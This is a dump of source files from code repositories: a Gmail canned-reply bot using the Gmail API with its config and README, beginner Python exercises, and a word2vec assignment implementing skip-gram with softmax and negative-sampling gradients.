argparse.ArgumentParser(parents=[tools.argparser]).parse_args()\nexcept ImportError:\n flags = None\n\n# If modifying these scopes, delete your previously saved credentials\n# at ~/.credentials/<sender_credentials_file>.json\nSCOPES = ['https://www.googleapis.com/auth/gmail.send',\n 'https://www.googleapis.com/auth/gmail.readonly',\n 'https://www.googleapis.com/auth/gmail.modify']\nAPPLICATION_NAME = 'Gmail API Python Quickstart'\nseconds_between_checks = 15\n\n\ndef get_credentials():\n \"\"\"Gets valid user credentials from storage.\n\n If nothing has been stored, or if the stored credentials are invalid,\n the OAuth2 flow is completed to obtain the new credentials.\n\n Returns:\n Credentials, the obtained credential.\n \"\"\"\n home_dir = os.path.expanduser('~')\n credential_dir = os.path.join(home_dir, '.credentials')\n if not os.path.exists(credential_dir):\n os.makedirs(credential_dir)\n credential_path = os.path.join(credential_dir,\n sender_credentials_file)\n\n store = Storage(credential_path)\n credentials = store.get()\n if not credentials or credentials.invalid:\n flow = client.flow_from_clientsecrets(client_secret_file, SCOPES)\n flow.user_agent = APPLICATION_NAME\n if flags:\n credentials = tools.run_flow(flow, store, flags)\n else: # Needed only for compatibility with Python 2.6\n credentials = tools.run(flow, store)\n print('Storing credentials to ' + credential_path)\n return credentials\n\n\ndef create_message(origin=None, destination=to, subject=None, msg_txt=None, thr_id=None):\n \"\"\"Create a message for an email.\n\n Args:\n origin: Email address of the sender.\n destination: Email address of the receiver.\n subject: The subject of the email message.\n msg_txt: The text of the email message.\n thr_id: the threadId of the message to attach\n\n Returns:\n An object containing a base64url encoded email object.\n \"\"\"\n message = MIMEText(msg_txt)\n message['to'] = destination\n message['from'] = origin\n message['subject'] = subject\n return {'raw': (base64.urlsafe_b64encode(message.as_bytes()).decode()),\n 'threadId': thr_id}\n\n\ndef send_message(service, user_id, message):\n \"\"\"Send an email message.\n\n Args:\n service: Authorized Gmail API service instance.\n user_id: User's email address. The special value \"me\"\n can be used to indicate the authenticated user.\n message: Message to be sent.\n\n Returns:\n Sent Message.\n \"\"\"\n try:\n message = (service.users().messages().send(userId=user_id, body=message)\n .execute())\n print('Message Id: {}'.format(message['id']))\n return message\n except errors.HttpError as error:\n print('An error occurred: {}'.format(error))\n\n\ndef list_messages_matching_query(service, user_id, query='', label_ids=[],\n maxResults=None):\n \"\"\"List all Messages of the user's mailbox matching the query.\n\n Args:\n service: Authorized Gmail API service instance.\n user_id: User's email address. The special value \"me\"\n can be used to indicate the authenticated user.\n query: String used to filter messages returned.\n Eg.- 'from:user@some_domain.com' for Messages from a particular sender.\n label_ids: the list of labelIds present in the query\n maxResults: number of messages to return and to obtain at a time\n\n Returns:\n List of Messages that match the criteria of the query. Note that the\n returned list contains Message IDs, you must use get with the\n appropriate ID to get the details of a Message.\n \"\"\"\n try:\n response = service.users().messages().list(userId=user_id, q=query,\n labelIds=label_ids,\n maxResults=maxResults).execute()\n messages = []\n if 'messages' in response:\n messages.extend(response['messages'])\n\n while 'nextPageToken' in response:\n if len(messages) >= maxResults:\n break\n page_token = response['nextPageToken']\n response = service.users().messages().list(userId=user_id, q=query,\n labelIds=label_ids,\n pageToken=page_token).execute()\n messages.extend(response['messages'])\n\n return messages\n except errors.HttpError as error:\n print('An error occurred: %s' % error)\n\n\ndef list_labels(service, user_id):\n \"\"\"Get a list all labels in the user's mailbox.\n\n Args:\n service: Authorized Gmail API service instance.\n user_id: User's email address. The special value \"me\"\n can be used to indicate the authenticated user.\n\n Returns:\n A list all Labels in the user's mailbox.\n \"\"\"\n try:\n response = service.users().labels().list(userId=user_id).execute()\n labels = response['labels']\n for label in labels:\n print('Label id: %s - Label name: %s' % (label['id'], label['name']))\n return labels\n except errors.HttpError as error:\n print('An error occurred: %s' % error)\n\n\ndef simple_list_labels(service, user_id):\n \"\"\"Provide a simple list of labels present in account\n\n :param service:\n :param user_id:\n :return: list of label names\n \"\"\"\n results = service.users().labels().list(userId=user_id).execute()\n labels = results.get('labels', ())\n list_labels = []\n if not labels:\n print('No labels found.')\n else:\n for label in labels:\n list_labels.append(label['name'])\n\n return list_labels\n\n\ndef get_message(service, user_id, msg_id):\n \"\"\"Get a Message with given ID.\n\n Args:\n service: Authorized Gmail API service instance.\n user_id: User's email address. The special value \"me\"\n can be used to indicate the authenticated user.\n msg_id: The ID of the Message required.\n\n Returns:\n A Message.\n \"\"\"\n try:\n message = service.users().messages().get(userId=user_id, id=msg_id).execute()\n\n return message\n except errors.HttpError as error:\n print('An error occurred: %s' % error)\n\n\ndef message_body_as_string(message):\n \"\"\"Returns the message body decoded as text\n\n :param message:\n :return: string\n \"\"\"\n if 'multipart' in message['payload']['mimeType']:\n # for multi-part messages\n for part in message['payload']['parts']:\n if part['mimeType'] == 'text/plain':\n return base64.urlsafe_b64decode(part['body']['data']).decode()\n # for straightforward messages\n else:\n for part in [message['payload']]:\n if part['mimeType'] == 'text/plain':\n return base64.urlsafe_b64decode(part['body']['data']).decode()\n\n\ndef get_mime_message(service, user_id, msg_id):\n \"\"\"Get a Message and use it to create a MIME Message.\n\n Args:\n service: Authorized Gmail API service instance.\n user_id: User's email address. The special value \"me\"\n can be used to indicate the authenticated user.\n msg_id: The ID of the Message required.\n\n Returns:\n A MIME Message, consisting of data from Message.\n \"\"\"\n try:\n message = service.users().messages().get(userId=user_id, id=msg_id,\n format='raw').execute()\n\n msg_str = base64.urlsafe_b64decode(message['raw']).decode()\n\n mime_msg = email.message_from_string(msg_str)\n\n return mime_msg\n except errors.HttpError as error:\n print('An error occurred: %s' % error)\n\n\ndef print_mime_message(message):\n # from email - print header details\n print('From: {}'.format(message['From']))\n print('To: {}'.format(message['To']))\n print('Subject: {}'.format(message['Subject']))\n print('Date: {}'.format(message['Date']))\n print('Message-ID: {}'.format(message['Message-ID']))\n print('---')\n\n # print body of email\n for parts in message.walk():\n if parts.get_content_type() == 'text/plain':\n print('---------')\n print(parts.get_payload())\n print('---------')\n\n\ndef modify_message(service, user_id, msg_id, msg_labels):\n \"\"\"Modify the Labels on the given Message.\n\n Args:\n service: Authorized Gmail API service instance.\n user_id: User's email address. The special value \"me\"\n can be used to indicate the authenticated user.\n msg_id: The id of the message required.\n msg_labels: The change in labels.\n\n Returns:\n Modified message, containing updated labelIds, id and threadId.\n \"\"\"\n try:\n message = service.users().messages().modify(userId=user_id, id=msg_id,\n body=msg_labels).execute()\n\n label_ids = message['labelIds']\n\n print('Message ID: %s - With Label IDs %s' % (msg_id, label_ids))\n return message\n except errors.HttpError as error:\n print('An error occurred: {}'.format(error))\n\n\ndef field_from_message(message, field_name):\n # 3 different ways of getting the from field from the message\n msg_headers = message['payload']['headers']\n msg_sender = None\n clean_name = field_name.strip().lower()\n\n # Way 1: a standard for , if loop, which breaks as soon as it finds the message\n # clean_name in the message fields\n for field in msg_headers:\n clean_field = field['name'].strip().lower()\n if clean_field == clean_name:\n msg_sender = field['value']\n break\n\n # Way 2: a dictionary generator\n # msg_sender = next((item['value'] for item in msg_headers if\n # item['name'].strip().lower() == clean_name), None)\n\n # Way 3: a filter\n # msg_sender = next(filter(lambda field: field['name'].strip().lower() == clean_name,\n # msg_headers))['value']\n\n return msg_sender\n\n\ndef create_msg_labels(service, addLabels=[], removeLabels=[]):\n \"\"\"Create object to update labels.\n\n Returns:\n A label update object.\n \"\"\"\n for label in addLabels:\n if label not in simple_list_labels(service, user_id):\n new_label = make_label(label)\n label_obj = create_label(service, user_id, new_label)\n print('Added label {}, label_id: '.format(label, label_obj))\n return {'removeLabelIds': removeLabels, 'addLabelIds': addLabels}\n\n\ndef create_label(service, user_id, label_object):\n \"\"\"Creates a new label within user's mailbox, also prints Label ID.\n\n Args:\n service: Authorized Gmail API service instance.\n user_id: User's email address. The special value \"me\"\n can be used to indicate the authenticated user.\n label_object: label to be added.\n\n Returns:\n Created Label.\n \"\"\"\n try:\n label = service.users().labels().create(userId=user_id,\n body=label_object).execute()\n print(\n 'created label name: {}, label id: {}'.format(label_object[\"name\"],\n label['id']))\n return label\n except errors.HttpError as error:\n print('An error occurred: %s' % error)\n\n\ndef make_label(label_name, mlv='show', llv='labelShow'):\n \"\"\"Create Label object.\n\n Args:\n label_name: The name of the Label.\n mlv: Message list visibility, show/hide.\n llv: Label list visibility, labelShow/labelHide.\n\n Returns:\n Created Label.\n \"\"\"\n label = {'messageListVisibility': mlv,\n 'name': label_name,\n 'labelListVisibility': llv}\n return label\n\n\ndef get_thread(service, user_id, thread_id):\n \"\"\"Get a Thread.\n\n Args:\n service: Authorized Gmail API service instance.\n user_id: User's email address. The special value \"me\"\n can be used to indicate the authenticated user.\n thread_id: The ID of the Thread required.\n\n Returns:\n Thread with matching ID.\n \"\"\"\n try:\n thread = service.users().threads().get(userId=user_id, id=thread_id).execute()\n messages = thread['messages']\n print('thread id: {} , messages in this thread: {}'.format(thread['id'],\n len(messages)))\n return thread\n except errors.HttpError as error:\n print('An error occurred: %s' % error)\n\n\ndef modify_thread(service, user_id, thread_id, msg_labels):\n \"\"\"Add labels to a Thread.\n\n Args:\n service: Authorized Gmail API service instance.\n user_id: User's email address. The special value \"me\"\n can be used to indicate the authenticated user.\n thread_id: The id of the thread to be modified.\n msg_labels: The change in labels.\n\n Returns:\n Thread with modified Labels.\n \"\"\"\n try:\n thread = service.users().threads().modify(userId=user_id, id=thread_id,\n body=msg_labels).execute()\n\n thread_id = thread['id']\n label_ids = thread['messages'][0]['labelIds']\n\n print('Thread ID: {} - With Label IDs: {}'.format(thread_id, label_ids))\n return thread\n except errors.HttpError as error:\n print('An error occurred: {}'.format(error))\n\n\ndef find_label_id(service, user_id, label_name):\n try:\n response = service.users().labels().list(userId=user_id).execute()\n labels = response['labels']\n for label in labels:\n if label[\"name\"] == label_name:\n return label[\"id\"]\n except errors.HttpError as error:\n print('An error occurred: %s' % error)\n\n\ndef get_label_id(service, canned_label):\n label_id = find_label_id(service, user_id, canned_label)\n if label_id is None:\n new_label = make_label(canned_label)\n label_id = create_label(service, user_id, new_label)['id']\n return label_id\n\n\ndef find_label_names(service, label_ids=[]):\n \"\"\" finds the label names given a list of label_ids\n\n :param service:\n :param label_ids: list of label_ids\n :return: list of label_names\n \"\"\"\n try:\n response = service.users().labels().list(userId=user_id).execute()\n labels = response['labels']\n label_names = []\n for label_id in label_ids:\n for label in labels:\n if label_id == label['id']:\n label_names.append(label['name'])\n break\n\n return label_names\n except errors.HttpError as error:\n print('An error occurred: %s' % error)\n\n\ndef main():\n \"\"\"Canned reply responder using the Gmail API.\n\n Creates a Gmail API service object and responds to a query with a standard response\n whilst giving it a label to ensure only 1 response per thread is sent\n \"\"\"\n\n # start time in milliseconds to compare with last message time\n start_time = int(time.time()) * 1000\n\n # get credentials first and create gmail service object\n credentials = get_credentials()\n http = credentials.authorize(httplib2.Http())\n service = discovery.build('gmail', 'v1', http=http)\n\n while True:\n # receive email messages\n q_to_list = ['from:' + e_mail for e_mail in senders]\n q = 'in:inbox {}'.format(' OR '.join(q_to_list))\n messages = list_messages_matching_query(service, user_id,\n query=q,\n maxResults=1)\n if not messages:\n print(\"No messages to show\")\n time.sleep(seconds_between_checks)\n continue\n else:\n pprint.pprint('Messages to show: {}'.format(messages))\n\n # get thread of first document - so you can label the thread itself if need be\n thread_id = messages[0]['threadId']\n thread = get_thread(service, user_id, thread_id)\n\n msg_id = messages[0]['id']\n message = get_message(service, user_id, msg_id)\n\n msg_sender = field_from_message(message, 'From')\n canned_label_id = get_label_id(service, canned_label)\n thread_label_ids = thread['messages'][0][\"labelIds\"]\n\n # check that the date is later than starting, and emails match list\n if int(message[\"internalDate\"]) < start_time:\n print('internalDate earlier than start_time!')\n print(\"better luck next time\")\n # check if it's already replied to\n elif canned_label_id in thread_label_ids:\n print(\"you replied already to this one, even if it is later than startup\")\n print(\"better luck next time\")\n else:\n # check cleaned sender email in list\n sender_email = parseaddr(msg_sender)[1]\n if sender_email not in senders:\n print(\"emails don't match!!\")\n # after all tests passed, reply to message with same subject\n else:\n subject = 'Re: ' + field_from_message(message, 'Subject')\n msg = create_message(destination=msg_sender, origin=to,\n subject=subject,\n msg_txt=message_text, thr_id=thread_id)\n send_message(service, user_id, msg)\n print(\"Replied to message!\")\n start_time = int(time.time()) * 1000\n\n # then label the thread\n labels = create_msg_labels(service, addLabels=[canned_label_id])\n modify_thread(service, user_id, thread_id, labels)\n print(\"Added a label: {} \".format(canned_label))\n print('done!')\n\n # always print blank line and wait a few seconds\n print('=====\\n')\n time.sleep(seconds_between_checks)\n\n\nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.7247557044029236, "alphanum_fraction": 0.7247557044029236, "avg_line_length": 29.700000762939453, "blob_id": "780a6ab800882d6f6152656b5732d3c5ec68e065", "content_id": "56b85049b3c71f3260314aafae2476d7834ce066", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 614, "license_type": "no_license", "max_line_length": 85, "num_lines": 20, "path": "/canned_reply_config.py", "repo_name": "jjisnow/gmail_response_bot", "src_encoding": "UTF-8", "text": "# Your email - gets added in the \"from\" field when you write your reply\nto = 'your email <[email protected]'\n\n# a list of blacklisted senders whom this applies to. Emails must be surrounded by ''\n# and separated by commas, and the list inside []\nsenders = ['[email protected]', '[email protected]']\n\n# the standard reply text to reply with\nmessage_text = \"\"\"\nPlease respond to someone who cares\n\"\"\"\n\nuser_id = 'me'\n\n# the label for the responses\ncanned_label = 'Canned-reply'\n\n# where the gmail api credentials and client_secret file is located\nsender_credentials_file = 'email-sender-creds.json'\nclient_secret_file = 'your_client_secret.json'\n" }, { "alpha_fraction": 0.8009708523750305, "alphanum_fraction": 0.8009708523750305, "avg_line_length": 40.20000076293945, "blob_id": "0f55789053e5bf2a58c83aa3e59824083ff9c0d6", "content_id": "e72272921fd1bdc9a769d1ee3cce7a264050c755", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 206, "license_type": "no_license", "max_line_length": 80, "num_lines": 5, "path": "/README.md", "repo_name": "jjisnow/gmail_response_bot", "src_encoding": "UTF-8", "text": "# gmail_response_bot\nA basic gmail_response_bot. Applies labels and replies only to unlabelled emails\n\nYou will need your own OAuth your_client_secret.json file.\nIt saves auths in your .credentials folder.\n" } ]
3
mudassir0909/learn-python-the-hard-way
https://github.com/mudassir0909/learn-python-the-hard-way
c6cb23a937095fd26534547352f44098e34fff13
51c55220c5f026eeb3579a9c929baf6076d62ab6
29dc7f3c0a5bcad4e217a02c94f3bb8f28e7821e
refs/heads/master
2021-01-01T05:25:06.540357
2016-05-12T07:19:55
2016-05-12T07:19:55
58,616,005
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5710144639015198, "alphanum_fraction": 0.6144927740097046, "avg_line_length": 19.294116973876953, "blob_id": "7e43702aaadcfdabf65d6a000b28c058ede6ee6f", "content_id": "1a0bc35001b979605f80f1dd5e008523d2307bf6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 345, "license_type": "no_license", "max_line_length": 43, "num_lines": 17, "path": "/ex18.py", "repo_name": "mudassir0909/learn-python-the-hard-way", "src_encoding": "UTF-8", "text": "def print_two(*args):\n arg1, arg2 = args\n print \"arg1: %r, arg2: %r\" % (arg1, arg2)\n\ndef print_two_again(arg1, arg2):\n print \"arg1: %r, arg2: %r\" % (arg1, arg2)\n\ndef print_one(arg1):\n print \"arg1: %r\" % arg1\n\ndef print_none():\n print \"I got nothin\"\n\nprint_two(\"Bat\", \"Man\")\nprint_two_again(\"Iron\", \"Man\")\nprint_one(\"Superman\")\nprint_none()\n" }, { "alpha_fraction": 0.7224080562591553, "alphanum_fraction": 0.7224080562591553, "avg_line_length": 26.18181800842285, "blob_id": "a54f94a0abe7a1af2641af9de985e9d9345f8026", "content_id": "0fe7c61a2fccac71734d9afbdb557d8170d52227", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 299, "license_type": "no_license", "max_line_length": 46, "num_lines": 11, "path": "/ex13.py", "repo_name": "mudassir0909/learn-python-the-hard-way", "src_encoding": "UTF-8", "text": "from sys import argv\n\nscript, first, second, third = argv\n\nblah = raw_input(\"How you doin? \")\n\nprint \"The script is called \", script\nprint \"The first variable is called \", first\nprint \"The second variable is called \", second\nprint \"The third variable is called \", third\nprint \"How you doin? \", blah\n" }, { "alpha_fraction": 0.6056337952613831, "alphanum_fraction": 0.6056337952613831, "avg_line_length": 22.66666603088379, "blob_id": "1427c5ff949d3c319b865a6b19b9ab84e16bb623", "content_id": "f1d30bbe0919c6e5143c046b3ce64b3da246b66e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 71, "license_type": "no_license", "max_line_length": 36, "num_lines": 3, "path": "/foo_input.py", "repo_name": "mudassir0909/learn-python-the-hard-way", "src_encoding": "UTF-8", "text": "age = raw_input(\"How old are you? \")\n\nprint \"So, you are %r old\" % age\n" }, { "alpha_fraction": 0.7174348831176758, "alphanum_fraction": 0.7174348831176758, "avg_line_length": 20.69565200805664, "blob_id": "8fe84c8eda7fa73a652ba28e8d91bfd923f7b011", "content_id": "f2af90d83b9ad431e64e192a56f59655c013e5a5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 499, "license_type": "no_license", "max_line_length": 58, "num_lines": 23, "path": "/ex17.py", "repo_name": "mudassir0909/learn-python-the-hard-way", "src_encoding": "UTF-8", "text": "from sys import argv\nfrom os.path import exists\n\nscript, source, destination = argv\n\nprint \"Copying from %s to %s\" % (source, destination)\n\nin_file = open(source)\nsource_data = in_file.read()\n\nprint \"The input file is %d bytes long\" % len(source_data)\n\nprint \"Does output file exists? %r\" % exists(destination)\nprint \"Ready, hit RETURN to continue, CTRL-C to abort\"\nraw_input()\n\nout_file = open(destination, 'w')\nout_file.write(source_data)\n\nprint \"Alrighty, done\"\n\nout_file.close()\nin_file.close()\n" }, { "alpha_fraction": 0.7045454382896423, "alphanum_fraction": 0.7348484992980957, "avg_line_length": 32, "blob_id": "297fa71792775ac35d17b6317af11be774c23dd4", "content_id": "48de019244ec0ec0d57600c2be36c953d0aecffe", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 660, "license_type": "no_license", "max_line_length": 69, "num_lines": 20, "path": "/ex19.py", "repo_name": "mudassir0909/learn-python-the-hard-way", "src_encoding": "UTF-8", "text": "def cheese_and_crackers(cheese_count, boxes_of_crackers):\n print 'You have %d cheeses!' % cheese_count\n print \"You have %d boxes of crackers!\" % boxes_of_crackers\n print \"Man that's enough for party!\"\n print \"Get a blanket! \\n\"\n\nprint \"We can just give the function numbers directly:\"\ncheese_and_crackers(20, 30)\n\nprint \"Or we can use variables from our scripts\"\namount_of_cheese = 10\namount_of_crackers = 50\n\ncheese_and_crackers(amount_of_cheese, amount_of_crackers)\n\nprint \"We can do math inside too\"\ncheese_and_crackers(10 + 20, 5 + 6)\n\nprint \"And we can combine variables and math\"\ncheese_and_crackers(amount_of_cheese + 100, amount_of_crackers + 100)\n" } ]
5
shamanez/Word2vec-scratch_new
https://github.com/shamanez/Word2vec-scratch_new
f48f1d66ceec57fd5fb6c0ad3176dd6e4fb3e485
9920300586d7ee250efb4839f157625fb993a569
360cd8d0a5046482cfa84a897d07b8d67318176a
refs/heads/master
2021-01-13T12:36:40.034670
2017-01-13T05:45:10
2017-01-13T05:45:10
78,393,823
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6490963697433472, "alphanum_fraction": 0.6601763963699341, "avg_line_length": 50.35359191894531, "blob_id": "819decbb369d9cfca389bbe8493a36ab74a92d6e", "content_id": "31a6c92c07411b8d9d85e38eefaca1bfff36e08e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 18592, "license_type": "no_license", "max_line_length": 278, "num_lines": 362, "path": "/q3_word2vec.py", "repo_name": "shamanez/Word2vec-scratch_new", "src_encoding": "UTF-8", "text": "import numpy as np\nimport random\n\nfrom q1_softmax import softmax\nfrom q2_gradcheck import gradcheck_naive\nfrom q2_sigmoid import sigmoid, sigmoid_grad\n\n\ndef normalizeRows(x):\n \"\"\" Row normalization function \"\"\"\n # Implement a function that normalizes each row of a matrix to have unit length\n \n ### YOUR CODE HERE\n y = np.linalg.norm(x,axis=1,keepdims=True)\n x /= y\n ### END YOUR CODE\n return x\n\ndef l1_normalize_rows(x):\n \"\"\" l1 row normalization function \"\"\"\n y = None\n\n y = np.sum(x,axis=1,keepdims=True)\n x /= y\n return x\n\ndef l2_normalize_rows(x):\n \"\"\" l1 row normalization function \"\"\"\n y = None\n\n y = np.linalg.norm(x,axis=1,keepdims=True)\n x /= y\n return x\n\ndef test_normalize_rows():\n print(\"Testing normalizeRows...\")\n x = normalizeRows(np.array([[3.0,4.0],[1, 2]])) \n # the result should be [[0.6, 0.8], [0.4472, 0.8944]]\n print(x)\n assert (np.amax(np.fabs(x - np.array([[0.6,0.8],[0.4472136,0.89442719]]))) <= 1e-6)\n print(\"\")\n\ndef softmaxCostAndGradient(predicted, target, outputVectors, dataset):\n \"\"\" Softmax cost function for word2vec models \"\"\"\n #print (\"\\n ##############Printing inside the softmazgardandgradient###############\")\n\n #print(\"printing the predicted vec\",predicted)\n #print(\"Prinitng the token target which is the U vector\",target)\n#here the target means the token of the score function position that we need to maximize the log probability. again target is the position of the nearby word vector which is U we need to take. this will do for all vectors in each windowow. and we update parameters in each time.\n\n # Implement the cost and gradients for one predicted word vector \n # and one target word vector as a building block for word2vec \n # models, assuming the softmax prediction function and cross \n # entropy loss. \n \n # Inputs:\n # - predicted: numpy ndarray, predicted word vector (\\hat{r} in\n # the written component)\n # - target: integer, the index of the target word\n # - outputVectors: \"output\" vectors (as rows) for all tokens\n # - dataset: needed for negative sampling, unused here.\n \n # Outputs: \n # - cost: cross entropy cost for the softmax word prediction\n # - gradPred: the gradient with respect to the predicted word\n # vector\n # - grad: the gradient with respect to all the other word\n # vectors\n \n # We will not provide starter code for this function, but feel\n # free to reference the code you previously wrote for this\n # assignment!\n \n ### YOUR CODE HERE\n N, D = outputVectors.shape #here this is 5*3 matrix\n r = predicted #This is the predicted or normally the centerword or the input. 1*3 matric\n prob = softmax(r.dot(outputVectors.T)) #score function by multiplying the outputvectors(U) with the predicted vector(vc)(Input). 1*3 \n #here the output vectors are like the all posible U vectors(corpus) we multiply these vectors with input Vc vec. \n #Here the prob will out put a matrix of 1*5 \n #print \"printing the shape of prob vector\"\n #print prob.shape \n cost = -np.log(prob[target]) #taking the cross entrophy loss. #with the target number this help to maximize the score of correct class\n#use the operation like back prop to distributre gradietns \n dx = prob #taking the gradient \n dx[target] -= 1. #Derivation of the cross entropy loss in the softmaz function \n #here we have got 5 classes that means the input vec with 5 all the vec in the corpus(output U) \n #now we have to transform gradients \n#here the gradietns is the global gradient with respect to the \n grad = dx.reshape((N,1)) * r.reshape((1,D)) # gradient with respect to the other vectors . that means the all 5 output vec. in each diemtion #gradient of the 5 vectors \n#r.reshape((1,D)) this is actually 1*3 dimentional vactor \n#dx.reshape((N,1) this is 5*1 vector \n #print grad.shape \n gradPred = (dx.reshape((1,N)).dot(outputVectors)).flatten() #gradient with respect to the predicted vector(vc) 1*3\n ### END YOUR CODE\n#so here in get the gradients for all vectrs in the corpus then the gradient for the vc vector. also this goes iterativly in a windows\n return cost, gradPred, grad #send the gradients and loss for the skipgram model. 5*3\n\ndef negSamplingCostAndGradient(predicted, target, outputVectors, dataset, \n K=10):\n \"\"\" Negative sampling cost function for word2vec models \"\"\"\n #print \"#############printing inside the negsampling loss function#########################\"\n#this also has implemented for skipgram model.\n #skip gram model\n # Implement the cost and gradients for one predicted word vector \n # and one target word vector as a building block for word2vec \n # models, using the negative sampling technique. K is the sample \n # size. You might want to use dataset.sampleTokenIdx() to sample \n # a random word index. \n # \n # Note: See test_word2vec below for dataset's initialization.\n # \n # Input/Output Specifications: same as softmaxCostAndGradient \n # We will not provide starter code for this function, but feel \n # free to reference the code you previously wrote for this \n # assignment!\n\n ### YOUR CODE HERE\n#K is number of negative sample vectors.\n N, D = outputVectors.shape #out put vectors are the total number of vectors ..\n\n cost = 0\n gradPred = np.zeros_like(predicted) #this is the gradients of the predicted vector. \n grad = np.zeros_like(outputVectors) # this is for the gradients of the all the vector.\n\n #negative_samples = np.array([dataset.sampleTokenIdx() for i in range(K)], dtype='int64')\n negative_samples = [] \n #when using negative sample words we need to take the words that use more frequnetly. also less frequenclty used words should play a role\n\n\n for k in range(K): #this goes for 10 times. this is the negative sample . we see the product of input vc with other 10 u vectors\n new_idx = dataset.sampleTokenIdx() #this is to genarate indexes for negative sampling .And there shouldn't be target variable.\n #print (\"Printing the new index\",new_idx)\n while new_idx == target: #when the new_index is eual to the target U . we need to remove it from negsampling set\n new_idx = dataset.sampleTokenIdx() #so we need to remove that endex and add new index \n \n negative_samples += [new_idx] #adding the indexes to negative sample arrar.\n \n indices = [target]\n indices += negative_samples #here the indices matrix is a combination of target indices and other negative sampling indexes.\n \n\n labels = np.array([1] + [-1 for k in range(K)]) #lables vector . 1 for the first element then -1 for all other elements . 1*11 metric\n vecs = outputVectors[indices] #this is 11*3 metrices \n\n#Here the predicted means the vc vector. 3*1 vector \n \n#elementvise multiplication. 1 elemet for the positve log prob and other one for the negative log prob\n z = np.dot(vecs, predicted) * labels #element wise multiplication. #this is 11*1 matrix\n probs = sigmoid(z) #this is 1*11 matrix \n cost = - np.sum(np.log(probs)) #this is the total cost function. summing up the log loss , negative and postive both. This give the cost for one outside word in one window.\n\n#Here the cost function is much more efficient since it don't have to calculate the expensive softmaz score function. \n\n dx = labels * (probs - 1) #taking the probabilities Elementr wise operation. plus one in lable metrix for miximize u vec and other for outside U vects which we need to minimize 1*11 matrix. vec is 11*3 matrix \n gradPred = dx.reshape((1,K+1)).dot(vecs).flatten() #this gives the gradient of the vc.\n #print dx.reshape((1,K+1)).dot(vecs).shape \n #print gradPred.shape #gradient for the Vc vector or the inside vec in the skip gram model.\n gradtemp = dx.reshape((K+1,1)).dot(predicted.reshape(1,predicted.shape[0])) #gradient of postive sample U vectors and negative sample \n #print gradtemp.shape #this is the gradient for postive sample vec Uo and other U vectors in the negative sample vec \n#11*3 matrix\n #print gradPred.shape \n #print gradtemp.shape \n for k in range(K+1):\n #here the grad matrix is zeros of 5*3 it's like we have 5 corpus elements. so we need to add the gradients for each word place.\n grad[indices[k]] += gradtemp[k,:]\n \n# t = sigmoid(predicted.dot(outputVectors[target,:]))\n# cost = -np.log(t)\n# delta = t - 1\n# gradPred += delta * outputVectors[target, :]\n# grad[target, :] += delta * predicted\n# for k in xrange(K):\n# idx = dataset.sampleTokenIdx()\n# t = sigmoid(-predicted.dot(outputVectors[idx,:]))\n# cost += -np.log(t)\n# delta = 1 - t\n# gradPred += delta * outputVectors[idx, :]\n# grad[idx, :] += delta * predicted\n\n ### END YOUR CODE\n \n return cost, gradPred, grad #cost as the loss for each u inside vec in each window. then the gradpred for \n\n#this is the skip gram model for the word to vec . where predict the context given the center word Vc\ndef skipgram(currentWord, C, contextWords, tokens, inputVectors, outputVectors, \n dataset, word2vecCostAndGradient = softmaxCostAndGradient):\n \"\"\" Skip-gram model in word2vec \"\"\"\n #print(\"\\n ######### printing inside the skp gram model for each iteration ###########\")\n \n #print \"Printing the current/Center word\"\n\n\n \n\n # Implement the skip-gram model in this function.\n\n # Inputs:\n # - currentWord: a string of the current center word\n # - C: integer, context size\n # - contextWords: list of no more than 2*C strings, the context words\n # - tokens: a dictionary that maps words to their indices in\n # the word vector list\n # - inputVectors: \"input\" word vectors (as rows) for all tokens\n # - outputVectors: \"output\" word vectors (as rows) for all tokens\n # - word2vecCostAndGradient: the cost and gradient function for\n # a prediction vector given the target word vectors,\n # could be one of the two cost functions you\n # implemented above\n\n # Outputs: \n # - cost: the cost function value for the skip-gram model\n # - grad: the gradient with respect to the word vectors\n # We will not provide starter code for this function, but feel\n # free to reference the code you previously wrote for this\n # assignment!\n\n ### YOUR CODE HERE\n cost = 0\n gradIn = np.zeros_like(inputVectors) #this is the input vectors(vc) 5*3 matrix\n gradOut = np.zeros_like(outputVectors) #This is for out[ut vectprs. probably U vecotrs 5*3 matrix\n#simple hashing method for find the Vc by it's token\n c_idx = tokens[currentWord] #token of the center words. When whe current word \n #here the predicted word vec is rely on the center word(Vc)\n predicted = inputVectors[c_idx, :] #this is 1*3 matrix which is the input(vc) vector to the algorithem. This change with the c_idx\n #__TODO__: can be switched to vectorized;\n # target (need to know shape; think its just a number)\n # hence target = np.zeros(len(contextWords))?\n # can add a newaxis(?) to allow for broadcasting\n#here when sgd wrapper calls for this skipgram model\n \n for j in contextWords: # we itarate the context word \n target = tokens[j] #this is the token of the surounding word that we work we need to give this as an input. vector U\n #print (\"target this is the toekn of the first context word\",target)\n c_cost, c_gradPred, c_grad = word2vecCostAndGradient(predicted, target, outputVectors, dataset) \n cost += c_cost #add the cost\n#this is the gradient decent . we update this for each context word in the windows. \n #print cost \n gradIn[c_idx,:] += c_gradPred #here we fill the gradin vector with grad of the Vc with respect to each context word. we add the grad.\n gradOut += c_grad #addd the grad in all iterations \n \n\n ### END YOUR CODE\n #print \"Printing the gradin with respect to each context word in the windows\"\n #print gradIn\n #print gradOut \n#still no parameter update has happened only gradients \n \n return cost, gradIn, gradOut #this returns the total cost , total grads in inputvec and the total grads in all outvec(U). for a single window\n\ndef cbow(currentWord, C, contextWords, tokens, inputVectors, outputVectors, \n dataset, word2vecCostAndGradient = softmaxCostAndGradient):\n \"\"\" CBOW model in word2vec \"\"\"\n \n # Implement the continuous bag-of-words model in this function. \n # Input/Output specifications: same as the skip-gram model \n # We will not provide starter code for this function, but feel \n # free to reference the code you previously wrote for this \n # assignment!\n\n #################################################################\n # IMPLEMENTING CBOW IS EXTRA CREDIT, DERIVATIONS 